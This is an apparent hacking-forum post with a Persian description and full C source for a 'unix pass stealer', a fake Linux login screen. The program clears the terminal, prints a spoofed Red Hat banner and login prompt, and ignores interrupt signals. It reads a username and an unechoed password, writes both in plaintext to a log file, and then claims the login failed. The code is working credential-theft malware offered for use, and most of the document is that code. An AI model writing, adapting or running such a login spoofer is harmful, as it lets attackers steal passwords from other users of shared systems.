unix pass stealer

توضیح :
این برنامه صفحه لاگین *nix رو شبیه سازی کرده و از کاربر Username/Password را دریافت کرده و در یک فایل (پیش فرض : /home/nraziz/steal.log) ذخیزه میکند و پیغام "Login incorrect" را به کاربر نشان داده سپس Login Prompt اصلی سیستم را فراخوانی میکند

//polygrithm
#include "stdio.h"
#include "unistd.h"
#include "string.h"
#include "sys/types.h"
#include "stdlib.h"
#include "signal.h"
#define MAX 50
#define FILENAME "/home/nraziz/steal.log" /*location can be changed*/
#define PASSWORD "password:"
/*
 *The following was the logon message on my box you can
 *change it to your logon message
 */
#define MESSAGE "Red Hat Linux release 8.0 (Pysche)\nKernel 2.4.18-14 on an i586\n\n"

int main(int argc,char **argv){

  signal(SIGINT,SIG_IGN); /*signals to be handled */
  signal(SIGTERM,SIG_IGN);
  FILE *fp=fopen(FILENAME,"a"); /*filename to write to*/
 char host[MAX];
  gethostname(host,MAX);   /*gets the local host name of your computer*/
  /*
   *We only store the first part of the string before '.' ,suppose if 
   *my hostname is localhost then gethostname will give us  
   *localhost.localdomain which is of no interest to us we only need localhost
   *so strtok will do the job for us , Still need more info: 'man strtok'
   */ 
char *first=strtok(host,"."); 
  char *user=(char *)malloc(sizeof(char)*MAX);
  char *pass=(char *)malloc(sizeof(char)*MAX);
  system("clear"); /*will clear the screen ;) */
  printf("%s",MESSAGE); /*prints the logon message*/
  printf("%s login:",first);
  scanf("%s",user);

  pass=getpass(PASSWORD); /*inputs passwords with no echo*/

  fprintf(fp,"User: %s have password: %s\n",user,pass);
  printf("Login incorrect\n");
  //system("login"); /*should this be uncommented ? */
  exit(1);
return 0;
}